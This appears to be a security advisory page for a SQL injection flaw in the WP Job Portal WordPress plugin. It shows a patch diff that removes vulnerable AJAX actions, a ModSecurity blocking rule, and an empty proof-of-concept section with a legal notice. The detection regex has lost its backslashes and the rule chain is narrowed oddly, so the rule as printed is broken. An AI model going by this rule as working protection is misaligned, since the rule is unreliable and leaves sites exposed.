-	}
-
 	public function jsPluginsAPI( $false, $wpjobportal_action, $wpjobportal_args ) {
 		if (!isset( $wpjobportal_args->slug )) {
 			return false;
--- a/wp-job-portal/includes/ajax.php
+++ b/wp-job-portal/includes/ajax.php
@@ -19,20 +19,20 @@
     function ajaxhandler() {
         $fucntin_allowed = array('DataForDepandantFieldResume', 'DataForDepandantField', 'saveJobShortlist', 'saveJobShortlistJobManager',
                                 'getQuickViewByJobId', 'getShortListViewByJobId', 'getShortListViewByJobIdJobPortal', 'getApplyNowByJobid',
-                                'jobapply', 'jobapplyjobmanager', 'getTellaFriend', 'getTellaFriendJobManager', 'deletecompanylogo', 'deleteResumeLogo',
+                                'jobapply', 'jobapplyjobmanager', 'getTellaFriend', 'deletecompanylogo', 'deleteResumeLogo',
                                 'getuserlistajax', 'getLogForUserById', 'getFieldsForComboByFieldFor', 'getSectionToFillValues', 'getUserIdByCompanyid',
                                 'changeNotifyOfNotifications', 'changeViewOfNotifications', 'getOptionsForFieldEdit', 'listdepartments',
                                 'saveTokenInputTag', 'makeJobCopyAjax', 'getsubcategorypopup', 'updateJobApplyResumeStatus', 'getResumeCommentSection',
                                 'getFolderSection', 'saveToFolderResume', 'storeResumeComments', 'setResumeRatting', 'getResumeDetail', 'getEmailFields',
                                 'jobapplyid', 'getFolderSection', 'getFolderSectionJobManager', 'saveToFolderResume', 'sendEmailToJobSeeker',
-                                'setJobApplyRating', 'getResumeDetailJobManager', 'getEmailFieldsJobManager', 'hideTemplateBanner', 'getListTranslations',
+                                'getResumeDetailJobManager', 'getEmailFieldsJobManager', 'hideTemplateBanner', 'getListTranslations',
                                 'validateandshowdownloadfilename', 'getlanguagetranslation', 'getPacakageListByUid', 'canceljobapplyasvisitor',
                                 'visitorapplyjob', 'removeResumeFileById', 'getResumeSectionAjax', 'deleteResumeSectionAjax', 'getOptionsForEditSlug',
-                                'getAllRoleLessUsersAjax', 'getNextJobs', 'getNextTemplateJobs','savetokeninputcity','sendmessageresume', 'sendmailtofriend',
-                                'getJobApplyDetailByid', 'setListStyleSession','sendmailtofriendJobManager', 'getResumeCommentSectionJobManager',
+                                'getAllRoleLessUsersAjax', 'savetokeninputcity','sendmessageresume', 'sendmailtofriend',
+                                'getResumeCommentSectionJobManager',
                                 'getPaymentPopup','getPackagePopupForFeaturedCompany','getPackagePopupForFeaturedJob','getPackagePopupForFeaturedResume',
                                 'getPackagePopupForJobAlert','getPackagePopupJobView','getPackagePopupForCopyJob','getPackagePopupForCompanyContactDetail',
-                                'getPackagePopupForResumeContactDetail','gettagsbytagname','listDepartments','getPackagePopupForDepartment','deleteUserPhoto',
+                                'getPackagePopupForResumeContactDetail','gettagsbytagname','listDepartments','deleteUserPhoto',
                                 'getStripePlans','downloadandinstalladdonfromAjax','getChildForVisibleCombobox','isFieldRequired','getFieldsForComboBySection',
                                 'getUserRoleBasedInfo','storeConfigurationSingle','importZywrapData','checkZywrapApiKey','importZywrapBatchProcess',
                                 'getWrappersByCategory','executeZywrapProxy','getZywrapAllWrappers','getSchemaByUseCode','getAjaxJobs');
--- a/wp-job-portal/includes/breadcrumbs.php
+++ b/wp-job-portal/includes/breadcrumbs.php
@@ -234,7 +234,7 @@
                             break;
                         case 'mysubscriptions':
                             $wpjobportal_array[] = $wpjobportal_staticUrl;
-                            $wpjobportal_array[] = array('link' => wpjobportal::wpjobportal_makeUrl(array('wpjobportalme'=>'purchasehistory', 'wpjobportallt'=>'mysubscriptions')), 'text' => esc_html(__('My Subscription', 'wp-job-portal')));
+                            $wpjobportal_array[] = array('link' => wpjobportal::wpjobportal_makeUrl(array('wpjobportalme'=>'purchasehistory', 'wpjobportallt'=>'mysubscriptions')), 'text' => esc_html(__('My Subscriptions','wp-job-portal')));
                             break;
                         case 'purchasehistory':
                             $wpjobportal_array[] = $wpjobportal_staticUrl;
--- a/wp-job-portal/includes/classes/handlesearchcookies.php
+++ b/wp-job-portal/includes/classes/handlesearchcookies.php
@@ -293,28 +293,6 @@
         WPJOBPORTALincluder::getJSModel('common')->setSearchVariableOnlySortandOrder($this->_jsjp_search_array,$wpjobportal_jstlay);
     }

-    private function searchFormDataForCompanies(){
-        if($this->_callfrom == 1){
-            if(is_admin()){
-                $this->_jsjp_search_array = WPJOBPORTALincluder::getJSModel('company')->getSearchFormAdminCompanyData();
-            }else{
-                $this->_jsjp_search_array = WPJOBPORTALincluder::getJSModel('company')->getSearchFormDataMyCompany();
-            }
-            $this->_setcookies = true;
-        }elseif($this->_callfrom == 2){
-            if(is_admin()){
-                $this->_jsjp_search_array = WPJOBPORTALincluder::getJSModel('company')->getAdminCompanySavedCookies();
-            }else{
-                $this->_jsjp_search_array = WPJOBPORTALincluder::getJSModel('company')->getCookiesSavedMyCompany();
-            }
-        }
-        if(is_admin()){
-            WPJOBPORTALincluder::getJSModel('company')->setAdminCompanySearchVariable($this->_jsjp_search_array);
-        }else{
-            WPJOBPORTALincluder::getJSModel('company')->setSearchVariableMyCompany($this->_jsjp_search_array);
-        }
-    }
-
     private function searchFormDataForCareerLevel(){
         if($this->_callfrom == 1){
             $this->_jsjp_search_array = WPJOBPORTALincluder::getJSModel('careerlevel')->getSearchFormDataCareerLevel();
@@ -377,7 +355,6 @@

     private function setCookiesFromTransientData(){
         $wpjobportal_user_data  =  get_transient( 'wpjobportal-social-login-data');
-        //echo 'printing tranient data from handlecookies class 248 <pre>';print_r($wpjobportal_user_data);echo '</pre>';
         if( $wpjobportal_user_data !== FALSE){ // it will be false if transient does not exsist
             if($wpjobportal_user_data != '' && is_array($wpjobportal_user_data) && !empty($wpjobportal_user_data)){
                 if (!isset($_COOKIE['wpjobportal-socialid'])){
@@ -630,10 +607,6 @@
             return is_array($wpjobportal_data) ? $wpjobportal_data : [];
         }

-        public function getSearchArray() {
-            return $this->_jsjp_search_array;
-        }
-
         private function setCurrentUsertransient($wpjobportal_token, $for) {
             // Full list of valid cases
             $wpjobportal_all_cases = [
@@ -658,4 +631,4 @@


 }
-?>
+?>
 No newline at end of file
--- a/wp-job-portal/includes/classes/jp-shortcodes-widget.php
+++ b/wp-job-portal/includes/classes/jp-shortcodes-widget.php
@@ -56,7 +56,7 @@
 						'wpjobportal_my_resumes' => __('My Resumes', 'wp-job-portal'),
 						'wpjobportal_searchjob' => __('Search Jobs', 'wp-job-portal'),
 						'wpjobportal_searchresume' => __('Search Resumes', 'wp-job-portal'),
-						'wpjobportal_jobbycategory' => __('Jobs by Category', 'wp-job-portal'),
+						'wpjobportal_jobbycategory' => __('Jobs By Categories', 'wp-job-portal'),
 	            ],
 	            'default' => 'wpjobportal_job',
 	        ]
--- a/wp-job-portal/includes/classes/popup.php
+++ b/wp-job-portal/includes/classes/popup.php
@@ -13,25 +13,7 @@
         }
     }

-    function canAutoSubmit($wpjobportal_result){
-        return true;
-        $wpjobportal_totalcredits = 0;
-        $wpjobportal_i = 0;
-        foreach ($wpjobportal_result AS $wpjobportal_value) {
-            $wpjobportal_totalcredits += $wpjobportal_value->credits;
-            $wpjobportal_i++;
-        }
-        if($wpjobportal_i > 1){ // show popup on multioption
-            return false;
-        }
-        if($wpjobportal_totalcredits == 0){
-            return true;
-        }else{
-            return false;
-        }
-    }
-
-     function getPopupForAdmin($wpjobportal_actionname,$wpjobportal_themecall=null,$wpjobportal_pageid=null) {
+    function getPopupForAdmin($wpjobportal_actionname,$wpjobportal_themecall=null,$wpjobportal_pageid=null) {
         $wpjobportal_uid = WPJOBPORTALRequest::getVar('userid');
         $wpjobportal_module = WPJOBPORTALRequest::getVar('module');
         if($wpjobportal_pageid == null){
@@ -532,26 +514,26 @@

         switch ($wpjobportal_actionname) {
             case 'featured_company':
-                $return['popuptitle'] = esc_html(__('Add to','wp-job-portal')) .' '. esc_html(__('featured','wp-job-portal')) .' '. esc_html(__('company', 'wp-job-portal'));
+                $return['popuptitle'] = esc_html(__('Add to','wp-job-portal')) .' '. esc_html(__('Featured','wp-job-portal')) .' '. esc_html(__('company', 'wp-job-portal'));
                 $wpjobportal_id = WPJOBPORTALRequest::getVar('id');
                 $wpjobportal_companyname = WPJOBPORTALincluder::getJSModel('company')->getCompanynameById($wpjobportal_id);
-                $return['title-text'] = esc_html(__('Company name', 'wp-job-portal'));
+                $return['title-text'] = esc_html(__('Company Name', 'wp-job-portal'));
                 $return['title'] = $wpjobportal_companyname;
                 $return['value'] = $wpjobportal_creditsrequired;
                 break;
             case 'featured_job':
-                $return['popuptitle'] = esc_html(__('Add to','wp-job-portal')) .' '. esc_html(__('featured','wp-job-portal')) .' '. esc_html(__('job', 'wp-job-portal'));
+                $return['popuptitle'] = esc_html(__('Add to','wp-job-portal')) .' '. esc_html(__('Featured','wp-job-portal')) .' '. esc_html(__('Job', 'wp-job-portal'));
                 $wpjobportal_id = WPJOBPORTALRequest::getVar('id');
                 $wpjobportal_jobtile = WPJOBPORTALincluder::getJSModel('job')->getJobTitleById($wpjobportal_id);
-                $return['title-text'] = esc_html(__('Job title', 'wp-job-portal'));
+                $return['title-text'] = esc_html(__('Job Title', 'wp-job-portal'));
                 $return['title'] = $wpjobportal_jobtile;
                 $return['value'] = $wpjobportal_creditsrequired;
                 break;
             case 'featured_resume':
-                $return['popuptitle'] = esc_html(__('Add to','wp-job-portal')) .' '. esc_html(__('featured','wp-job-portal')) .' '. esc_html(__('resume', 'wp-job-portal'));
+                $return['popuptitle'] = esc_html(__('Add to','wp-job-portal')) .' '. esc_html(__('Featured','wp-job-portal')) .' '. esc_html(__('resume', 'wp-job-portal'));
                 $wpjobportal_id = WPJOBPORTALRequest::getVar('id');
                 $wpjobportal_resumetile = WPJOBPORTALincluder::getJSModel('resume')->getResumeTitleById($wpjobportal_id);
-                $return['title-text'] = esc_html(__('Resume title', 'wp-job-portal'));
+                $return['title-text'] = esc_html(__('Resume Title', 'wp-job-portal'));
                 $return['title'] = $wpjobportal_resumetile;
                 $return['value'] = $wpjobportal_creditsrequired;
                 break;
@@ -563,7 +545,7 @@
                 break;
             case 'add_job':
                 $return['popuptitle'] = esc_html(__('Add','wp-job-portal')) .' '. esc_html(__('Job', 'wp-job-portal'));
-                $return['title-text'] = esc_html(__('Add','wp-job-portal')) .' '. esc_html(__('job', 'wp-job-portal'));
+                $return['title-text'] = esc_html(__('Add','wp-job-portal')) .' '. esc_html(__('Job', 'wp-job-portal'));
                 $return['title'] = ' ';
                 $return['value'] = $wpjobportal_creditsrequired;
                 break;
@@ -592,19 +574,19 @@
                 $return['value'] = $wpjobportal_creditsrequired;
                 break;
             case 'view_company_contact_detail':
-                $return['popuptitle'] = esc_html(__('View company contact detail', 'wp-job-portal'));
+                $return['popuptitle'] = esc_html(__('View Company Contact Detail', 'wp-job-portal'));
                 $wpjobportal_id = WPJOBPORTALRequest::getVar('id');
                 $wpjobportal_companyname = WPJOBPORTALincluder::getJSModel('company')->getCompanynameById($wpjobportal_id);
-                $return['title-text'] = esc_html(__('View company contact detail', 'wp-job-portal'));
+                $return['title-text'] = esc_html(__('View Company Contact Detail', 'wp-job-portal'));
                 $return['title'] = $wpjobportal_companyname;
                 $return['value'] = $wpjobportal_creditsrequired;
                 $return['link'] = wp_nonce_url(wpjobportal::wpjobportal_makeUrl(array('wpjobportalme'=>'company', 'action'=>'wpjobportaltask', 'task'=>'addviewcontactdetail', 'companyid'=>$wpjobportal_id, 'wpjobportalpageid'=>$wpjobportal_pageid)),'wpjobportal_company_nonce');
                 break;
             case 'view_resume_contact_detail':
-                $return['popuptitle'] = esc_html(__('View resume contact detail', 'wp-job-portal'));
+                $return['popuptitle'] = esc_html(__('View Resume Contact Detail', 'wp-job-portal'));
                 $wpjobportal_id = WPJOBPORTALRequest::getVar('id');
                 $wpjobportal_resumename = WPJOBPORTALincluder::getJSModel('resume')->getResumenameById($wpjobportal_id);
-                $return['title-text'] = esc_html(__('View resume contact detail', 'wp-job-portal'));
+                $return['title-text'] = esc_html(__('View Resume Contact Detail', 'wp-job-portal'));
                 $return['title'] = $wpjobportal_resumename;
                 $return['value'] = $wpjobportal_creditsrequired;
                 $return['link'] = wp_nonce_url(wpjobportal::wpjobportal_makeUrl(array('wpjobportalme'=>'resume', 'action'=>'wpjobportaltask', 'task'=>'addviewresumedetail', 'resumeid'=>$wpjobportal_id, 'wpjobportalpageid'=>$wpjobportal_pageid)),'wpjobportal_resume_nonce');
@@ -616,10 +598,10 @@
                 $return['value'] = $wpjobportal_creditsrequired;
                 break;
             case 'job_apply':
-                $return['popuptitle'] = esc_html(__('Apply On Job', 'wp-job-portal'));
+                $return['popuptitle'] = esc_html(__('Apply On This Job', 'wp-job-portal'));
                 $wpjobportal_id = WPJOBPORTALRequest::getVar('id');
                 $wpjobportal_jobtile = WPJOBPORTALincluder::getJSModel('job')->getJobTitleById($wpjobportal_id);
-                $return['title-text'] = esc_html(__('Job title', 'wp-job-portal'));
+                $return['title-text'] = esc_html(__('Job Title', 'wp-job-portal'));
                 $return['title'] = $wpjobportal_jobtile;
                 $return['value'] = $wpjobportal_creditsrequired;
                 break;
--- a/wp-job-portal/includes/classes/resumeformlayout.php
+++ b/wp-job-portal/includes/classes/resumeformlayout.php
@@ -41,21 +41,6 @@
         return wpjobportal::wpjobportal_getVariableValue(wpjobportal::$wpjobportal_data['fieldtitles'][$wpjobportal_field]);
     }

-    function getResumeFormUserFieldJobManager($title, $wpjobportal_field,$wpjobportal_required) {
-        $wpjobportal_html = '<div class="js-col-md-12 js-form-wrapper">
-        <div class="js-col-md-12 js-form-title '.esc_attr($this->class_prefix).'-bigfont">' . esc_attr($title);
-        if($wpjobportal_required==1){
-            $wpjobportal_html .= '<span class="'.esc_attr($this->class_prefix).'-error-msg">*</span>';
-        }
-        $wpjobportal_html .= '</div>
-            <div class="js-col-md-12 js-form-value">' . $wpjobportal_field . '</div>
-        </div>';
-
-        return $wpjobportal_html;
-    }
-
-
-
     function getResumeFormUserField($wpjobportal_field, $object , $wpjobportal_section , $wpjobportal_sectionid, $wpjobportal_ishidden,$wpjobportal_themecall=null) {
         $wpjobportal_visibleclass = "";
         if (isset($wpjobportal_field->visibleparams) && $wpjobportal_field->visibleparams != ''){
@@ -139,25 +124,6 @@
         return $wpjobportal_data;
     }

-    function getResumeSelectFieldJobManager($wpjobportal_fieldtitle,$wpjobportal_fieldName,$wpjobportal_fieldValue,$wpjobportal_required,$column){
-        $wpjobportal_html="";
-        if($column==4){
-            $wpjobportal_html .= '<div class="js-col-md-3 '.esc_attr($this->class_prefix).'-field-padding">';
-        }else{
-            $wpjobportal_html .= '<div class="js-col-md-12 js-form-wrapper">';
-
-        }
-        $wpjobportal_html .= '
-            <div class="js-col-md-12 js-form-title '.esc_attr($this->class_prefix).'-bigfont">' . $wpjobportal_fieldtitle;
-            if($wpjobportal_required==1){
-                $wpjobportal_html .='<span class="'.esc_attr($this->class_prefix).'-error-msg">*</span>';
-            }
-            $wpjobportal_html .='</div>
-            <div class="js-col-md-12 js-form-value">' . $wpjobportal_fieldValue . '</div>
-        </div>';
-        return $wpjobportal_html;
-    }
-
     function getResumeSelectField($wpjobportal_field, $wpjobportal_fieldValue,$column=0,$wpjobportal_themecall=null) {

         $wpjobportal_fieldtitle="";
@@ -275,53 +241,6 @@
         return $wpjobportal_html;
     }

-    function getFieldForPersonalSectionJobManager($wpjobportal_fieldtitle,$wpjobportal_fieldName,$wpjobportal_fieldValue,$wpjobportal_required,$wpjobportal_extraattr,$columns = 0){
-
-        $wpjobportal_data="";
-
-        if($columns == 3){
-            $wpjobportal_data .= '<div class="js-col-md-4 '.esc_attr($this->class_prefix).'-field-padding">';
-        }else{
-            $wpjobportal_data .= '<div class="js-col-md-12 js-form-wrapper">';
-        }
-        $wpjobportal_data .= '
-            <div class="js-col-md-12 js-form-title '.esc_attr($this->class_prefix).'-bigfont">' . wpjobportal::wpjobportal_getVariableValue($wpjobportal_fieldtitle);
-            if ($wpjobportal_required == 1) {
-                $wpjobportal_data .= '<span class="'.esc_attr($this->class_prefix).'-error-msg"     color: redstyle="color: red;"> *</span>';
-            }
-            $wpjobportal_data .='</div>
-            <div class="js-col-md-12 js-form-value">';
-                $wpjobportal_data .='<input class="inputbox form-control '.esc_attr($this->class_prefix).'-input-field';
-
-                        if ($wpjobportal_required == 1 ) {
-                                $wpjobportal_data .= ' required ';
-                        }
-                        if($wpjobportal_fieldName == "date_of_birth" || $wpjobportal_fieldName == "date_start" ){
-                            $wpjobportal_data .= ' custom_date ';
-                            if($wpjobportal_fieldValue = '0000-00-00 00:00:00'){
-                                $wpjobportal_fieldValue = '';
-                            }
-                        }
-                        $wpjobportal_data .= '"';
-                        if ($wpjobportal_fieldName == "email_address") {
-                            $wpjobportal_data .= ' data-validation="email"';
-                        }
-                        if ($wpjobportal_required == 1 && $wpjobportal_fieldName != "email_address") {
-                            $wpjobportal_data .= ' data-validation="required"';
-                        }
-                $wpjobportal_name = 'sec_1['.$wpjobportal_fieldName.']';
-                $wpjobportal_data .=        ' type="text" name="' . $wpjobportal_name . '" id="' . $wpjobportal_fieldName . '" value = "' .  wpjobportalphplib::wpJP_htmlspecialchars($wpjobportal_fieldValue).'"' ;
-                if (!empty($wpjobportal_extraattr)){
-                    foreach ($wpjobportal_extraattr AS $wpjobportal_key => $wpjobportal_val){
-                        $wpjobportal_data .= ' ' . $wpjobportal_key . '="' . $wpjobportal_val . '"';
-                    }
-                }
-                $wpjobportal_data .= '" />';
-            $wpjobportal_data .='</div>
-        </div>';
-        return $wpjobportal_data;
-    }
-
     function getFieldForPersonalSection($wpjobportal_field, $wpjobportal_fieldValue, $columns = 0,$wpjobportal_extraattr=array(),$wpjobportal_themecall=null) {

         $wpjobportal_fieldtitle = $wpjobportal_field->fieldtitle;
@@ -434,52 +353,6 @@
         }
         return $wpjobportal_data;
     }
-    function getFieldForMultiSectionJobManager($wpjobportal_fieldtitle,$wpjobportal_fieldName,$wpjobportal_required,$wpjobportal_fieldValue,$wpjobportal_field_id_for,$wpjobportal_section, $wpjobportal_sectionid, $wpjobportal_ishidden){
-            $wpjobportal_html = '<div class="js-col-md-12 js-form-wrapper">
-            <div class="js-col-md-12 js-form-title '.esc_attr($this->class_prefix).'-bigfont" for="'.$wpjobportal_field_id_for.'">' . wpjobportal::wpjobportal_getVariableValue($wpjobportal_fieldtitle);
-                if ($wpjobportal_required == 1) {
-                    $wpjobportal_html .= '<span class="'.esc_attr($this->class_prefix).'-error-msg">*</span>';
-                }
-              $wpjobportal_html .='</div>
-            <div class="js-col-md-12 js-form-value">';
-                $wpjobportal_data_required = '';
-                $wpjobportal_class_required = '';
-                if($wpjobportal_ishidden != ''){
-                    if ($wpjobportal_required == 1) {
-                        $wpjobportal_data_required = 'data-myrequired="required"';
-                    }
-                    if ($wpjobportal_fieldName == "email_address") {
-                        $wpjobportal_data_required = 'data-myrequired="required validate-email"';
-                    }
-                }else{
-                    if ($wpjobportal_required == 1) {
-                        $wpjobportal_class_required = ' required';
-                    }
-                    if ($wpjobportal_fieldName == "email_address") {
-                        $wpjobportal_class_required = ' required validate-email';
-                    }
-                }
-
-                $wpjobportal_html .= '<input class="inputbox form-control '.esc_attr($this->class_prefix).'-input-field '.$wpjobportal_class_required.'" '.$wpjobportal_data_required;
-
-                switch ($wpjobportal_section) {
-                    case '2': $wpjobportal_section = 'sec_2'; break;
-                    case '3': $wpjobportal_section = 'sec_3'; break;
-                    case '4': $wpjobportal_section = 'sec_4'; break;
-                    case '5': $wpjobportal_section = 'sec_5'; break;
-                    case '6': $wpjobportal_section = 'sec_6'; break;
-                    case '7': $wpjobportal_section = 'sec_7'; break;
-                    case '8': $wpjobportal_section = 'sec_8'; break;
-                }
-                $wpjobportal_name = $wpjobportal_section."[$wpjobportal_fieldName][$wpjobportal_sectionid]";
-
-                $wpjobportal_html .=    ' type="text" name="' . $wpjobportal_name . '" id="' . $wpjobportal_field_id_for . '" maxlength="250" value = "' .  wpjobportalphplib::wpJP_htmlspecialchars($wpjobportal_fieldValue) . '" />';
-
-            $wpjobportal_html .= '</div>
-        </div>';
-        return $wpjobportal_html;
-
-    }

     function getFieldForMultiSection($wpjobportal_field, $wpjobportal_fieldValue, $wpjobportal_section, $wpjobportal_sectionid, $wpjobportal_ishidden,$wpjobportal_themecall ) {

@@ -693,75 +566,6 @@
         return $wpjobportal_html;
     }

-   function makeResumeSectionFields($wpjobportal_themecall=null){
-        $wpjobportal_resume="";
-        if(isset(wpjobportal::$_data[0]['personal_section'])) $wpjobportal_resume = wpjobportal::$_data[0]['personal_section'];
-        //$wpjobportal_fields_ordering = wpjobportal::$_data[1];
-
-        $wpjobportal_html = '<div id="jssection_resume" class="section_wrapper jssectionwrapper ">';
-        if(empty($wpjobportal_resume->resume)){
-            //$wpjobportal_jssection_hide = (isset(wpjobportal::$wpjobportal_data['resumeid']) && is_numeric(wpjobportal::$wpjobportal_data['resumeid']))?"": 'jssection_hide';
-            $wpjobportal_jssection_hide = 'jssection_hide';
-        }else{
-            ///$wpjobportal_jssection_hide = (isset(wpjobportal::$wpjobportal_data['resumeid']) && is_numeric(wpjobportal::$wpjobportal_data['resumeid']))?"": 'jssection_hide';
-            $wpjobportal_jssection_hide = '';
-        }
-        $wpjobportal_sectionid = 0;
-        // <div class="jsundo wjportal-resume-section-undo"><img class="jsundoimage wjportal-resume-section-undo-image" onclick="undoThisSection(this);" src="'.JURI::root().'components/com_wpjobportal/images/resume/undo-icon.png" /></div>
-        // <img class="jsdeleteimage wjportal-resume-section-delete" onclick="deleteThisSection(this);" src="'.JURI::root().'components/com_wpjobportal/images/resume/delete-icon.png" />
-        $wpjobportal_html .= '<div class="section_wrapper form wjportal-resume-section jssection_wrapper '.$wpjobportal_jssection_hide.' jssection_resume_'.esc_attr($wpjobportal_sectionid).'">';
-        foreach (wpjobportal::$_data[2][6] as $wpjobportal_field) {
-            switch ($wpjobportal_field->field) {
-                case "resume":
-                    $fvalue = isset($wpjobportal_resume->resume) ? $wpjobportal_resume->resume : '';
-                    $wpjobportal_req = ($wpjobportal_field->required ? 'required' : '');
-                    $wpjobportal_data_required = '';
-                    if($wpjobportal_jssection_hide){
-                        if($wpjobportal_req){
-                            $wpjobportal_data_required = 'data-myrequired="required"';
-                            $wpjobportal_req = '';
-                        }
-                    }
-                    $wpjobportal_html .= '
-                        <div class="wpjp-form-wrapper js-col-md-12 js-form-wrapper">
-                            <label id="" class="wpjp-form-title " for="resumeeditor">' . wpjobportal::wpjobportal_getVariableValue($wpjobportal_field->fieldtitle);
-                                if ($wpjobportal_field->required == 1) {
-                                    $wpjobportal_html .= '<span class="error-msg">*</span>';
-                                }
-                    //$wpjobportal_name = 'sec_6[resume]['.esc_attr($wpjobportal_sectionid).']';
-                    $wpjobportal_name = 'resumeeditor';
-
-                    //$wpjobportal_value=wp_editor(isset($wpjobportal_resume->resume) ? $wpjobportal_resume->resume: '', 'resume', array('media_buttons' => false, 'data-validation' => $wpjobportal_req));
-                    $wpjobportal_value=isset($wpjobportal_resume->resume) ? $wpjobportal_resume->resume: '';
-                    $efield = WPJOBPORTALformfield::textarea('resume', $wpjobportal_value, array('class' => 'inputbox one resumeeditor form-control '.esc_attr($this->class_prefix).'-textarea-field', 'height'=>'270px','rows'=>'10','cols'=>'40'));
-                    $efield .= WPJOBPORTALformfield::hidden('resume_edit_val','');
-                    $wpjobportal_html .= '</label>
-                            <div class="wpjp-form-value ">
-                                '.$efield.'
-                            </div>
-                        </div>';
-                    break;
-                default:
-                    $wpjobportal_html .= $this->getResumeFormUserField($wpjobportal_field, $wpjobportal_resume , 6 , $wpjobportal_sectionid, $wpjobportal_jssection_hide,$wpjobportal_themecall);
-                break;
-            }
-        }
-        $wpjobportal_id = '';
-        $wpjobportal_deletethis = (empty($wpjobportal_resume->resume)) ? 1 : 0;
-        $wpjobportal_html .= '<input type="hidden" id="deletethis6'.esc_attr($wpjobportal_sectionid).'" class="jsdeletethissection" name="sec_6[deletethis]['.esc_attr($wpjobportal_sectionid).']" value="'. wpjobportalphplib::wpJP_htmlspecialchars($wpjobportal_deletethis).'">
-                    <input type="hidden" id="id" name="sec_6[id]['.esc_attr($wpjobportal_sectionid).']" value="'.$wpjobportal_id.'">
-            </div></div>';
-        if(empty($wpjobportal_resume->resume)){
-            if(null !=$wpjobportal_themecall){
-                $wpjobportal_html .= '<div class="wpjp-add-new-section-link wjportal-resume-add-new-section-btn" onclick="showResumeSection( this, 'resume');"><i class="fa fa-plus"></i>'.esc_html(__('Add Resume','wp-job-portal')).'</div>';
-            }else{
-                $wpjobportal_html .= '<div class="wpjp-add-new-section-link wjportal-resume-add-new-section-btn" onclick="showResumeSection( this, 'resume');"><i class="fa fa-plus"></i>'.esc_html(__('Add Resume','wp-job-portal')).'</div>';
-
-            }
-        }
-        return $wpjobportal_html;
-    }
-
     /* function makeAddressSectionFields($wpjobportal_themecall=null) {
         $wpjobportal_addresses=array();
         if(isset(wpjobportal::$_data[0]['address_section'])){
--- a/wp-job-portal/includes/classes/resumeviewlayout.php
+++ b/wp-job-portal/includes/classes/resumeviewlayout.php
@@ -73,15 +73,6 @@
         return $wpjobportal_html;
     }

-
-    function getAttachmentRowForViewJobManager($adminLogin) {
-        return $this->getAttachmentRowForViewForTemplate($adminLogin);
-    }
-
-    function getAttachmentRowForViewJobHub($adminLogin) {
-        return $this->getAttachmentRowForViewForTemplate($adminLogin);
-    }
-
     function getAttachmentRowForViewForTemplate($adminLogin) {
         $wpjobportal_html='<div id="'.esc_attr($this->class_prefix).'-resumedetail-attachment" class="'.esc_attr($this->class_prefix).'-resumedetail-section">
             <div class="'.esc_attr($this->class_prefix).'-resumedetail-section-title">
@@ -541,13 +532,6 @@
         if (isset(wpjobportal::$_data[2][1]['first_name']) || isset(wpjobportal::$_data[2][1]['last_name'])) {
             $wpjobportal_layout = WPJOBPORTALrequest::getVar('layout');
             $editsocialclass = '';
-            /*if ($wpjobportal_resumeformview == 0 && ($wpjobportal_layout == 'addresume' || $owner == 1)) {
-                $wpjobportal_html .= '<a class="personal_section_edit" href="#"><img src="' . esc_url(WPJOBPORTAL_PLUGIN_URL) . 'includes/images/edit-resume.png" /></a>';
-                $editsocialclass = 'editform';
-            }elseif($adminLogin || (!is_user_logged_in() && isset($_SESSION['wp-wpjobportal']))) {
-                $wpjobportal_html .= '<a class="personal_section_edit" href="#"><img src="' . esc_url(WPJOBPORTAL_PLUGIN_URL) . 'includes/images/edit-resume.png" /></a>';
-                $editsocialclass = 'editform';
-            }*/
             $wpjobportal_html .= '<div id="job-info-sociallink" class="' . $editsocialclass . '">';
             if (!empty(wpjobportal::$_data[0]['personal_section']->facebook)) {
                 if(wpjobportalphplib::wpJP_strstr(wpjobportal::$_data[0]['personal_section']->facebook, 'http') ){
@@ -595,7 +579,7 @@
                 }
             }
             if (isset(wpjobportal::$_data[2][1]['email_address'])) {
-                $wpjobportal_html .= '<div class="wjportal-resume-info"><img src="' . esc_url(WPJOBPORTAL_PLUGIN_URL) . 'includes/images/email.png" alt="'.esc_attr(__('email','wp-job-portal')).'" title="'.esc_attr(__('email','wp-job-portal')).'" />' . wpjobportal::$_data[0]['personal_section']->email_address . '</div>';
+                $wpjobportal_html .= '<div class="wjportal-resume-info"><img src="' . esc_url(WPJOBPORTAL_PLUGIN_URL) . 'includes/images/email.png" alt="'.esc_attr(__('Email','wp-job-portal')).'" title="'.esc_attr(__('Email','wp-job-portal')).'" />' . wpjobportal::$_data[0]['personal_section']->email_address . '</div>';
             }

             if (isset(wpjobportal::$_data[2][1]['salaryfixed'])) {
@@ -613,7 +597,7 @@
                 if(isset(wpjobportal::$_data[0]) && !empty(wpjobportal::$_data[0]['personal_section']->address)){
                     $wpjobportal_address = isset(wpjobportal::$_data[0]['address_section'][0]) ?  wpjobportal::$_data[0]['address_section'][0]->address : '';
                     $wpjobportal_country = isset(wpjobportal::$_data[0]['address_section'][0]) ? wpjobportal::$_data[0]['address_section'][0]->countryname : '';
-                    $wpjobportal_html .= '<div class="wjportal-resume-info"><img src="' . esc_url(WPJOBPORTAL_PLUGIN_URL) . 'includes/images/location.png" alt="'.esc_attr(__('location','wp-job-portal')).'" title="'.esc_attr(__('location','wp-job-portal')).'"/>' . $wpjobportal_address.','.$wpjobportal_country . '</div>';
+                    $wpjobportal_html .= '<div class="wjportal-resume-info"><img src="' . esc_url(WPJOBPORTAL_PLUGIN_URL) . 'includes/images/location.png" alt="'.esc_attr(__('Location','wp-job-portal')).'" title="'.esc_attr(__('Location','wp-job-portal')).'"/>' . $wpjobportal_address.','.$wpjobportal_country . '</div>';
                 }
             }

@@ -730,7 +714,7 @@
             }
         if (wpjobportal::$wpjobportal_data['resumecontactdetail'] == true || $a

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202657653,phase:2,deny,status:403,chain,msg:'CVE-2026-57653 via WP Job Portal AJAX SQL Injection',severity:'CRITICAL',tag:'CVE-2026-57653',tag:'wordpress',tag:'wp-job-portal'"
  SecRule ARGS_POST:action "@pm sendmailtofriendJobManager getTellaFriendJobManager setJobApplyRating getEmailFieldsJobManager getNextJobs" 
    "chain,id:202657654,t:none"
    SecRule ARGS_POST:friend_email|ARGS_POST:rating|ARGS_POST:email|ARGS_POST:offset "@rx bUNIONb|bSELECTb|bFROMb|bINSERTb|bUPDATEb|bDELETEb|bDROPb|b--b|b#b|b'b" 
      "chain,id:202657655,t:none"
      SecRule ARGS_POST:action "@streq sendmailtofriendJobManager" 
        "id:202657656,t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

